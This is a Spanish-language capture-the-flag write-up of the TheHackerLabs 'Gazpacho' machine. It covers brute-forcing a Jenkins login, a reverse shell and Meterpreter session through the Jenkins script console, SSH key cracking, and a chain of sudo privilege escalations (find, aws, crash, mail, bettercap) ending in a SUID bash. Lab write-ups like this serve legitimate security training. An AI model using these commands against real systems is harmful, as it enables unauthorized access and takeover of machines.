Gazpacho - TheHackerLabs

Esta fue una máquina algo complicada, pues necesita bastante trabajo para terminarla. Después de analizar los escaneos y un login del puerto 80 que no lleva a nada, nos vamos a la página web del puerto 8080, que resulta ser el login del CI/CD Jenkins. Aplicamos fuerza bruta a este login y ganamos acceso al Dashboard de Jenkins. Abusamos de la Consola de Scripts para poder mandarnos una Reverse Shell de Groovy a nuestra máquina, obteniendo el acceso principal. Enumerando la máquina, descubrimos que hay 5 usuarios y que nuestro usuario actual, tiene privilegios para usar el binario find. Ocupamos la guía de GTFOBins para abusar de este binario y nos convertimos en el usuario 1. De aquí en adelante, ocuparemos mucho la guía de GTFOBins. El usuario 1, tiene privilegios para usar el binario aws, al que le aplicamos Shell Escape para convertirnos en el usuario 2. El usuario 2, tiene privilegios para usar el binario crash, al que también le aplicamos Shell Escape y nos convertimos en el usuario 3. El usuario 3, tiene privilegios para usar el binario cat, que ocupamos para leer la llave privada id_rsa del usuario 4. La crackeamos y ganamos acceso vía SSH como el usuario 4. El usuario 4, tiene privilegios para usar el binario mail, que ocupamos para convertirnos en el usuario 5. El usuario 5, tiene privilegios para usar el binario bettercap como Root. Al ejecutar bettercap como Root, nos da una terminal con la que podemos ejecutar comandos como si fuéramos el usuario Root, lo que nos permite darle permisos SUID a la Bash, para que cualquier usuario pueda utilizarla con privilegios y ser Root.

Herramientas utilizadas:

  • ping
  • nmap
  • wappalizer
  • whatweb
  • Metasploit Framework (msfconsole)
  • Módulo: auxiliary/scanner/http/jenkins_login
  • wget
  • python3
  • chmod
  • python
  • nc
  • Módulo: exploit/multi/http/jenkins_script_console
  • cat
  • grep
  • which
  • hostname
  • sudo
  • find
  • aws
  • crash
  • ssh2john
  • JohnTheRipper
  • ssh
  • nano
  • whoami
  • mail
  • bettercap
  • Bash






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.10.150
PING 192.168.10.150 (192.168.10.150) 56(84) bytes of data.
64 bytes from 192.168.10.150: icmp_seq=1 ttl=64 time=8.79 ms
64 bytes from 192.168.10.150: icmp_seq=2 ttl=64 time=1.28 ms
64 bytes from 192.168.10.150: icmp_seq=3 ttl=64 time=1.35 ms
64 bytes from 192.168.10.150: icmp_seq=4 ttl=64 time=1.70 ms

--- 192.168.10.150 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3062ms
rtt min/avg/max/mdev = 1.278/3.278/8.787/3.184 ms

Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.


Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.10.150 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-26 13:51 CST
Initiating ARP Ping Scan at 13:51
Scanning 192.168.10.150 [1 port]
Completed ARP Ping Scan at 13:51, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:51
Scanning 192.168.10.150 [65535 ports]
Discovered open port 80/tcp on 192.168.10.150
Discovered open port 8080/tcp on 192.168.10.150
Discovered open port 22/tcp on 192.168.10.150
Completed SYN Stealth Scan at 13:51, 9.97s elapsed (65535 total ports)
Nmap scan report for 192.168.10.150
Host is up, received arp-response (0.00093s latency).
Scanned at 2025-06-26 13:51:46 CST for 10s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 64
80/tcp   open  http       syn-ack ttl 64
8080/tcp open  http-proxy syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.15 seconds
           Raw packets sent: 74594 (3.282MB) | Rcvd: 65536 (2.621MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Hay 3 puertos abiertos. Tenemos dos páginas web activas, lo que es interesante.


Escaneo de Servicios

nmap -sCV -p 22,80,8080 192.168.10.150 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-26 13:52 CST
Nmap scan report for 192.168.10.150
Host is up (0.00089s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
|_  256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Login
8080/tcp open  http    Jetty 10.0.20
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

De acuerdo al escaneo, la página web del puerto 80 está mostrando un login y la página web del puerto 8080, no muestra algo como tal, pero el servidor Jetty, pertenece al CI/CD Jenkins.

Primero, veamos qué podemos hacer en el login.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos:

Es un login simple.

Veamos qué nos dice Wappalizer:

Nada como tal.

Si probamos el login, metiendo cualquier usuario y contraseña, obtendremos esta respuesta:

Esto me da a entender que no está funcionando bien el servidor o que existe un error que provoca el fallo del login.

Podríamos aplicar Fuzzing para buscar si existe algún directorio o archivo oculto, pero no encontraremos nada.

Entonces, vayamos a ver la página web del puerto 8080 que utiliza Jenkins.


Analizando Página Web Activa en el Puerto 8080

Entremos:

Estamos en el login del CI/CD Jenkins.

Con whatweb, podemos obtener la versión de Jenkins que se está usando:

hatweb http://192.168.10.150:8080
http://192.168.10.150:8080 [403 Forbidden] Cookies[JSESSIONID.3d4df755], Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], HttpOnly[JSESSIONID.3d4df755], IP[192.168.10.150], Jenkins[2.440.3], Jetty[10.0.20], Meta-Refresh-Redirect[/login?from=%2F], Script, UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session]
http://192.168.10.150:8080/login?from=%2F [200 OK] Cookies[JSESSIONID.3d4df755], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(10.0.20)], HttpOnly[JSESSIONID.3d4df755], IP[192.168.10.150], Jenkins[2.440.3], Jetty[10.0.20], PasswordField[j_password], Script[application/json,text/javascript], Title[Sign in [Jenkins]], UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session,x-instance-identity], X-Frame-Options[sameorigin]

Parece que está usando la versión 2.440.3.

Aquí no podremos hacer mucho, pero necesitamos entrar a ese login.

Entonces, es hora de aplicar fuerza bruta.




Explotación de Vulnerabilidades


Aplicando Fuerza Bruta a Login de Jenkins

Sabemos que existe un usuario por defecto en Jenkins, que es el usuario admin.

Pero no sabemos su contraseña, entonces, lo ideal es aplicar fuerza bruta para descubrir la contraseña.

Lo haremos con dos herramientas:

  • Metasploit Framework: Módulo auxiliary/scanner/http/jenkins_login
  • Script de GitHub

Esta vez, no utilizaremos la herramienta hydra porque existe un problema con el endpoint al que va la data enviada del login de Jenkins.

No encontré el problema como tal, pero parece que el endpoint /j_spring_security_check, que es de versiones actuales de Jenkins, crea problemas de pérdida de data con hydra, es decir, lo que envía hydra no lo recibe el login de Jenkins, o da falsos positivos, aunque al menos es lo que logré notar.

En cambio, el endpoint /j_acegi_security_check, que es de versiones antiguas al 2012, sí se le puede aplicar fuerza bruta con hydra.


Aplicando Fuerza Bruta con Módulo jenkins_login de Metasploit Framework

Inicia Metasploit Framework y escoge el módulo auxiliary/scanner/http/jenkins_login:

msfconsole -q
[*] Starting persistent handler(s)...
msf6 > use auxiliary/scanner/http/jenkins_login
msf6 auxiliary(scanner/http/jenkins_login) >

Configura el módulo:

msf6 auxiliary(scanner/http/jenkins_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/http/jenkins_login) > set RHOSTS 192.168.10.150
RHOSTS => 192.168.10.150
msf6 auxiliary(scanner/http/jenkins_login) > set USERNAME admin
USERNAME => admin
msf6 auxiliary(scanner/http/jenkins_login) > set TARGETURI /
TARGETURI => /
msf6 auxiliary(scanner/http/jenkins_login) > set VERBOSE false
VERBOSE => false

Ejecuta el módulo:

msf6 auxiliary(scanner/http/jenkins_login) > exploit
[+] 192.168.10.150:8080 - Login Successful: admin:12345
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Una contraseña bastante simple.

Probémosla:

Estamos dentro.


Aplicando Fuerza Bruta con Script de GitHub

Buscando un poco, encontré un script de un usuario de GitHub que aplica fuerza bruta al login de Jenkins:

Vamos a descargarlo:

wget https://raw.githubusercontent.com/blu3ming/Jenkins-Brute-Force/refs/heads/main/jenkins-brute-force.py

Necesitaremos tener instalado el módulo pwntools en nuestra máquina, te recomiendo instalarlo en un entorno virtual:

python3 -m venv env
source env/bin/activate
pip install pwntools

Veamos cómo funciona:

chmod +x jenkins-brute-force.py
python jenkins-brute-force.py
[*] Uso: python jenkins-brute-force.py <IP> <PORT> <WORDLIST> <USER>
[*] Ejemplo: python jenkins-brute-force.py 10.10.20.30 8080 rockyou.txt admin

Tenemos que indicarle la IP, el puerto donde está la página, el wordlist a usar y un usuario.

Probémoslo:

python jenkins-brute-force.py 192.168.10.150 8080 /usr/share/wordlists/rockyou.txt admin
[▖] Buscando contrasena...: [1] admin:123456
[▁] Probando...
[*] Credenciales validas admin:123456

Excelente, funcionó bien y obtuvimos la misma respuesta.

Continuemos.


Abusando de Jenkins para Ganar Acceso a la Máquina Víctima

Podemos aprovecharnos de la consola de scripts de Jenkins, para poder ejecutar una Reverse Shell de Groovy.

También podemos ocupar un módulo de Metasploit Framework con el que podemos obtener una sesión de Meterpreter.

Apliquemos ambas.


Obteniendo Reverse Shell de Forma Manual desde la Consola de Scripts de Jenkins

Aquí te dejo un blog que explica como abusar de la Consola de Scripts para ejecutar comandos:

Podemos ir directamente a la Consola de Scripts si ponemos la siguiente ruta en la URL /manage/script:

Pero, también podemos ir a la sección Manage Jenkins:

Vamos hasta la parte de abajo en Tools and Actions y seleccionamos Script Console:

Y llegamos de nuevo a la Consola de Scripts:

Desde ahí, utilizamos una Reverse Shell de Groovy que podemos obtener de la siguiente página web:

Se debe ver así:

La copiamos y pegamos en la consola.

Abre un listener con netcat:

nc -nvlp 443
listening on [any] 443 ...

Y ejecuta el script.

Observa la netcat:

nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.10.150] 58542

whoami
jenkins

Estamos dentro.

Obtén una sesión interactiva:

# Paso 1:
script /dev/null -c bash

# Paso 2:
CTRL + Z

# Paso 3:
stty raw -echo; fg

# Paso 4:
reset -> xterm

# Paso 5:
export TERM=xterm
export SHELL=bash
stty rows 51 columns 189


Obteniendo Sesión de Meterpreter con Módulo jenkins_script_console de Metasploit Framework

Como ya tenemos una sesión activa, tan solo tenemos que seleccionar el módulo:

msf6 auxiliary(scanner/http/jenkins_login) > use exploit/multi/http/jenkins_script_console
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/jenkins_script_console) >

Ahora lo configuramos:

msf6 exploit(multi/http/jenkins_script_console) > set USERNAME admin
USERNAME => admin
msf6 exploit(multi/http/jenkins_script_console) > set PASSWORD 12345
PASSWORD => 12345
msf6 exploit(multi/http/jenkins_script_console) > set RHOSTS 192.168.10.150
RHOSTS => 192.168.10.150
msf6 exploit(multi/http/jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/jenkins_script_console) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/jenkins_script_console) > set target 1
target => 1

Y lo ejecutamos:

msf6 exploit(multi/http/jenkins_script_console) > exploit
[*] Started reverse TCP handler on Tu_IP:4444 
[*] Checking access to the script console
[*] Logging in...
[*] Using CSRF token: 'bf5c66959eb1d8340b4c658203e7238852598b5375f2ac92319935694394d8c3' (Jenkins-Crumb style v2)
[*] 192.168.10.150:8080 - Sending Linux stager...
[*] Sending stage (3045380 bytes) to 192.168.10.150
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (Tu_IP:4444 -> 192.168.10.150:39990) at 2025-06-27 00:41:55 -0600

meterpreter > getuid
Server username: jenkins
meterpreter > sysinfo
Computer     : 192.168.10.150
OS           : Debian 12.5 (Linux 6.1.0-18-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Genial, estamos dentro otra vez.




Post Explotación


Enumeración de la Máquina Víctima

Veamos cuántos usuarios existen:

jenkins@gazpacho:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
pimiento:x:1001:1001::/home/pimiento:/bin/bash
cebolla:x:1002:1002::/home/cebolla:/bin/bash
tomate:x:1003:1003::/home/tomate:/bin/bash
ajo:x:1004:1004::/home/ajo:/bin/bash
pepino:x:1005:1005::/home/pepino:/bin/bash
jenkins:x:103:112:Jenkins,,,:/var/lib/jenkins:/bin/bash

Tenemos 5 usuarios.

Podemos ver sus directorios en el directorio /home:

jenkins@gazpacho:~$ ls -la /home
total 32
drwxr-xr-x  8 root     root     4096 abr 29  2024 .
drwxr-xr-x 18 root     root     4096 abr 29  2024 ..
drwxr-xr-x  2 ajo      ajo      4096 abr 29  2024 ajo
drwxr-xr-x 16 root     root     4096 abr 29  2024 bettercap
drwxr-xr-x  2 cebolla  cebolla  4096 abr 29  2024 cebolla
drwxr-xr-x  4 pepino   pepino   4096 abr 29  2024 pepino
drwxr-xr-x  2 pimiento pimiento 4096 abr 29  2024 pimiento
drwxr-xr-x  2 tomate   tomate   4096 abr 29  2024 tomate

Parece que hay otro directorio ahí.

Al revisarlo, parece ser un binario que ya fue compilado, y vemos ahí que hay un Dockerfile, por lo que es posible que exista un contenedor de Docker:

jenkins@gazpacho:~$ ls -la /home/bettercap/
total 33404
drwxr-xr-x 16 root root     4096 abr 29  2024 .
drwxr-xr-x  8 root root     4096 abr 29  2024 ..
-rwxr-xr-x  1 root root 34024856 abr 29  2024 bettercap
-rw-r--r--  1 root root      356 abr 29  2024 bettercap.service
drwxr-xr-x  2 root root     4096 abr 29  2024 builder
-rwxr-xr-x  1 root root     4054 abr 29  2024 build.sh
drwxr-xr-x  2 root root     4096 abr 29  2024 caplets
drwxr-xr-x  2 root root     4096 abr 29  2024 core
-rw-r--r--  1 root root      853 abr 29  2024 Dockerfile
drwxr-xr-x  2 root root     4096 abr 29  2024 firewall
drwxr-xr-x  8 root root     4096 abr 29  2024 .git
drwxr-xr-x  2 root root     4096 abr 29  2024 .github
-rw-r--r--  1 root root      137 abr 29  2024 .gitignore
-rw-r--r--  1 root root     2274 abr 29  2024 go.mod
-rw-r--r--  1 root root    17226 abr 29  2024 go.sum
-rw-r--r--  1 root root     1171 abr 29  2024 ISSUE_TEMPLATE.md
drwxr-xr-x  2 root root     4096 abr 29  2024 js
-rw-r--r--  1 root root    35187 abr 29  2024 LICENSE.md
drwxr-xr-x  2 root root     4096 abr 29  2024 log
-rw-r--r--  1 root root     2767 abr 29  2024 main.go
-rw-r--r--  1 root root      950 abr 29  2024 Makefile
drwxr-xr-x 33 root root     4096 abr 29  2024 modules
drwxr-xr-x  2 root root     4096 abr 29  2024 network
-rw-r--r--  1 root root     1693 abr 29  2024 openwrt.makefile
drwxr-xr-x  2 root root     4096 abr 29  2024 packets
-rw-r--r--  1 root root     2977 abr 29  2024 README.md
-rwxr-xr-x  1 root root      223 abr 29  2024 release.stork
drwxr-xr-x  2 root root     4096 abr 29  2024 routing
-rw-r--r--  1 root root      417 abr 29  2024 SECURITY.md
drwxr-xr-x  2 root root     4096 abr 29  2024 session
drwxr-xr-x  2 root root     4096 abr 29  2024 tls
-rw-r--r--  1 root root     5416 abr 29  2024 .travis.yml

Podemos comprobar que está Docker instalado en la máquina:

jenkins@gazpacho:~$ which docker
/usr/bin/docker
jenkins@gazpacho:~$ hostname -I
192.168.10.150 172.17.0.1 2806:...

Pero si aplicamos Ping Sweep con el siguiente one-liner, no encontraremos ningún contenedor creado:

jenkins@gazpacho:~$ for i in $(seq 254); do ping 172.17.0.$i -c1 -W1 & done | grep from
64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.026 ms

Si revisamos los directorios de los usuarios, encontraremos algo interesante en el directorio del usuario pepino:

jenkins@gazpacho:~$ ls -la /home/pepino/
total 28
drwxr-xr-x 4 pepino pepino 4096 abr 29  2024 .
drwxr-xr-x 8 root   root   4096 abr 29  2024 ..
lrwxrwxrwx 1 root   root      9 abr 29  2024 .bash_history -> /dev/null
-rw-r--r-- 1 pepino pepino  220 abr 23  2023 .bash_logout
-rw-r--r-- 1 pepino pepino 3526 abr 23  2023 .bashrc
drwxr-xr-x 3 pepino pepino 4096 abr 28  2024 .local
-rw-r--r-- 1 pepino pepino  807 abr 23  2023 .profile
drwx------ 2 pepino pepino 4096 abr 28  2024 .ssh

Mucho ojo con ese directorio .ssh, pues puede haber una llave privada id_rsa ahí.

Y del usuario tomate:

jenkins@gazpacho:~$ ls -la /home/tomate/
total 24
drwxr-xr-x 2 tomate tomate 4096 abr 29  2024 .
drwxr-xr-x 8 root   root   4096 abr 29  2024 ..
lrwxrwxrwx 1 root   root      9 abr 29  2024 .bash_history -> /dev/null
-rw-r--r-- 1 tomate tomate  220 abr 23  2023 .bash_logout
-rw-r--r-- 1 tomate tomate 3526 abr 23  2023 .bashrc
-rw-r--r-- 1 tomate tomate  807 abr 23  2023 .profile
-r-------- 1 root   root     33 abr 29  2024 user.txt

Ahí tenemos la flag del usuario.


Abusando de Privilegios Sobre Binario find para Escalar Privilegios y Convertirnos en el Usuario ajo

Revisando los privilegios del usuario jenkins, podemos usar el comando find como el usuario ajo:

jenkins@gazpacho:~$ sudo -l
Matching Defaults entries for jenkins on gazpacho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User jenkins may run the following commands on gazpacho:
    (ajo) NOPASSWD: /usr/bin/find

Podemos buscar una forma de escalar privilegios con el binario find, para convertirnos en el usuario ajo con la guía de GTFOBins:

Ocuparemos el siguiente comando:

Probémoslo:

jenkins@gazpacho:~$ sudo -u ajo find . -exec /bin/bash \; -quit
ajo@gazpacho:/var/lib/jenkins$ whoami
ajo
ajo@gazpacho:/var/lib/jenkins$ cd /home/ajo
ajo@gazpacho:~$

Ahora somos el usuario ajo.


Abusando de Privilegios Sobre Binario aws para Escalar Privilegios (Shell Escape) y Convertirnos en el Usuario cebolla

Este usuario no cuenta con algún archivo o pista dentro de su directorio.

Entonces, revisemos sus privilegios:

ajo@gazpacho:~$ sudo -l
Matching Defaults entries for ajo on gazpacho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ajo may run the following commands on gazpacho:
    (cebolla) NOPASSWD: /usr/bin/aws

Busquemos en la guía de GTFOBins cómo podemos abusar del binario aws, para escalar privilegios y convertirnos en el usuario cebolla:

Ocuparemos el siguiente comando:

Vamos a aplicar un Shell Escape.

Usa el comando:

ajo@gazpacho:~$ sudo -u cebolla aws help

Ahora escapemos del manual de ayuda:

Observa la terminal:

cebolla@gazpacho:/home/ajo$ 
cebolla@gazpacho:/home/ajo$ whoami
cebolla
cebolla@gazpacho:/home/ajo$ cd ../cebolla/
cebolla@gazpacho:~$

Ya somos el usuario cebolla.


Abusando de Privilegios Sobre Binario crash para Escalar Privilegios (Shell Escape) y Convertirnos en el Usuario pimiento

Este usuario tampoco tiene alguna pista o algo que nos ayude.

Veamos qué privilegios tiene:

cebolla@gazpacho:~$ sudo -l
Matching Defaults entries for cebolla on gazpacho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User cebolla may run the following commands on gazpacho:
    (pimiento) NOPASSWD: /usr/bin/crash

Busquemos en la guía de GTFOBins cómo podemos abusar del binario crash, para escalar privilegios y convertirnos en el usuario pimiento:

Ocuparemos el siguiente comando:

Aplicaremos otra vez un Shell Escape.

Primero, usemos el comando que nos meterá a un manual:

cebolla@gazpacho:~$ sudo -u pimiento crash -h

Ahora, escapemos del manual de ayuda:

Observa la terminal:

pimiento@gazpacho:/home/cebolla$ 
pimiento@gazpacho:/home/cebolla$ whoami
pimiento
pimiento@gazpacho:/home/cebolla$ cd ../pimiento/
pimiento@gazpacho:~$

Ahora somos el usuario pimiento.


Abusando de Privilegios Sobre Binario cat para Escalar Privilegios (Crackeo de Llave Privada SSH) y Convertirnos en el Usuario pepino

Este usuario tampoco tiene algo que nos ayude.

Veamos qué privilegios tiene:

pimiento@gazpacho:~$ sudo -l
Matching Defaults entries for pimiento on gazpacho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User pimiento may run the following commands on gazpacho:
    (pepino) NOPASSWD: /usr/bin/cat

Busquemos en la guía de GTFOBins cómo podemos abusar del binario cat, para escalar privilegios y convertirnos en el usuario pepino:

Ocuparemos el siguiente comando:

Podemos abusar del binario cat para leer los archivos que solo el usuario pepino pueda leer.

Si recordamos el contenido del directorio del usuario pepino, vimos que hay un directorio .ssh, por lo que es posible que exista la llave privada id_rsa.

Vamos a comprobarlo:

pimiento@gazpacho:~$ LFILE=/home/pepino/.ssh/id_rsa
pimiento@gazpacho:~$ sudo -u pepino cat "$LFILE"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0...
...

Sí existe y la obtuvimos.

Cópiala y guárdala en tu máquina como id_rsa y dale los permisos correctos de ejecución para esa llave:

nano id_rsa
chmod 600 id_rsa

Para poder crackear esta llave, necesitamos obtener el hash con la herramienta ssh2john:

ssh2john id_rsa > hash

Y ahora, utilizamos JohnTheRipper para crackear el hash:

john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mittens          (id_rsa)     
1g 0:00:01:11 DONE (2025-06-26 17:56) 0.01392g/s 35.42p/s 35.42c/s 35.42C/s shamrock..12344321
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Tenemos la frase usada en la llave privada id_rsa.

Con esto, podemos autenticarnos en la máquina víctima vía SSH utilizando la misma llave y la frase obtenida:

ssh -i id_rsa pepino@192.168.10.150
Enter passphrase for key 'id_rsa': 
Linux gazpacho 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
...
Last login: Fri Jun 27 00:46:24 2025
pepino@gazpacho:~$ whoami
pepino

Ahora somos el usuario pepino.


Abusando de Privilegios Sobre Binario mail para Escalar Privilegios y Convertirnos en el Usuario tomate

Este usuario tampoco tiene algún archivo o pista que nos ayude.

Veamos qué privilegios tiene:

pepino@gazpacho:~$ sudo -l
Matching Defaults entries for pepino on gazpacho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User pepino may run the following commands on gazpacho:
    (tomate) NOPASSWD: /usr/bin/mail

Busquemos en la guía de GTFOBins cómo podemos abusar del binario mail, para escalar privilegios y convertirnos en el usuario tomate:

Ocuparemos el siguiente comando:

Probémoslo:

pepino@gazpacho:~$ sudo -u tomate mail --exec='!/bin/bash'
tomate@gazpacho:/home/pepino$ whoami
tomate
tomate@gazpacho:/home/pepino$ cd ../tomate/
tomate@gazpacho:~$

Ahora somos el usuario tomate.

Aquí encontraremos la flag del usuario, pero no la podremos ver, pues solo el Root puede verla:

-rw-r--r-- 1 tomate tomate  807 abr 23  2023 .profile
-r-------- 1 root   root     33 abr 29  2024 user.txt


Abusando de Privilegios Sobre Binario bettercap para Escalar Privilegios y Convertirnos en Usuario root

Directamente, veamos qué privilegios tiene este usuario:

tomate@gazpacho:~$ sudo -l
Matching Defaults entries for tomate on gazpacho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User tomate may run the following commands on gazpacho:
    (root) NOPASSWD: /usr/bin/bettercap

Podemos usar el binario bettercap como el usuario Root.

Es el mismo binario que ya habíamos encontrado y que podemos ver su ruta:

tomate@gazpacho:~$ which bettercap
/usr/bin/bettercap

Investiguemos un poco sobre este binario:

Bettercap
Bettercap es una herramienta poderosa y versátil para realizar ataques de red y pruebas de seguridad ofensivas. Se utiliza principalmente para sniffing, manipulación de tráfico en tiempo real, ataques Man-in-the-Middle (MITM) y mucho más. Bettercap es como el cuchillo suizo del pentester de redes.


Aquí puedes ver la documentación de la herramienta:

Al ejecutar el binario, entraremos en una consola de comandos:

tomate@gazpacho:~$ sudo bettercap
bettercap v2.32.0 (built for linux amd64 with go1.19.8) [type 'help' for a list of commands]

192.168.10.0/24 > 192.168.10.150  » [00:52:15] [sys.log] [war] Could not find mac for

Y si usamos el comando help, veremos una forma de escalar privilegios:

192.168.10.0/24 > 192.168.10.150  » help

           help MODULE : List available commands or show module specific help if no module name is provided.
                active : Show information about active modules.
                  quit : Close the session and exit.
         sleep SECONDS : Sleep for the given amount of seconds.
              get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
        set NAME VALUE : Set the VALUE of variable NAME.
  read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
                 clear : Clear the screen.
        include CAPLET : Load and run this caplet in the current session.
             ! COMMAND : Execute a shell command and print its output.
        alias MAC NAME : Assign an alias to a given endpoint given its MAC address.
...

Podemos ejecutar comandos desde esta terminal y, como la ejecutamos como Root, entonces, todo lo que ejecutemos, tendrá privilegios máximos.

Veamos qué usuario somos dentro de esta terminal:

192.168.10.0/24 > 192.168.10.150  » !whoami
root

Funciona bien.

Asignémosle permisos SUID a la Bash, para poder ejecutarla con privilegios de Root desde cualquier usuario:

192.168.10.0/24 > 192.168.10.150  » !chmod u+s /bin/bash

192.168.10.0/24 > 192.168.10.150  » exit
tomate@gazpacho:~$

Chequemos si se hizo el cambio:

tomate@gazpacho:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 abr 23  2023 /bin/bash

Ahí está, si se cambiaron los permisos.

Usemos la Bash con privilegios y obtengamos las flags:

tomate@gazpacho:~$ bash -p
bash-5.2# whoami
root
bash-5.2# cat /home/tomate/user.txt
...
bash-5.2# cat /root/root.txt
...

Y con esto, terminamos la máquina.



  • https://www.hackingarticles.in/jenkins-penetration-testing/
  • https://pentest-tools.com/vs/brute-force-dev-ci-cd-apps
  • https://github.com/blu3ming/Jenkins-Brute-Force
  • https://www.revshells.com/
  • https://gtfobins.github.io/gtfobins/find/
  • https://gtfobins.github.io/gtfobins/aws/
  • https://gtfobins.github.io/gtfobins/crash/
  • https://gtfobins.github.io/gtfobins/cat/
  • https://gtfobins.github.io/gtfobins/mail/
  • https://www.bettercap.org/legacy/


FIN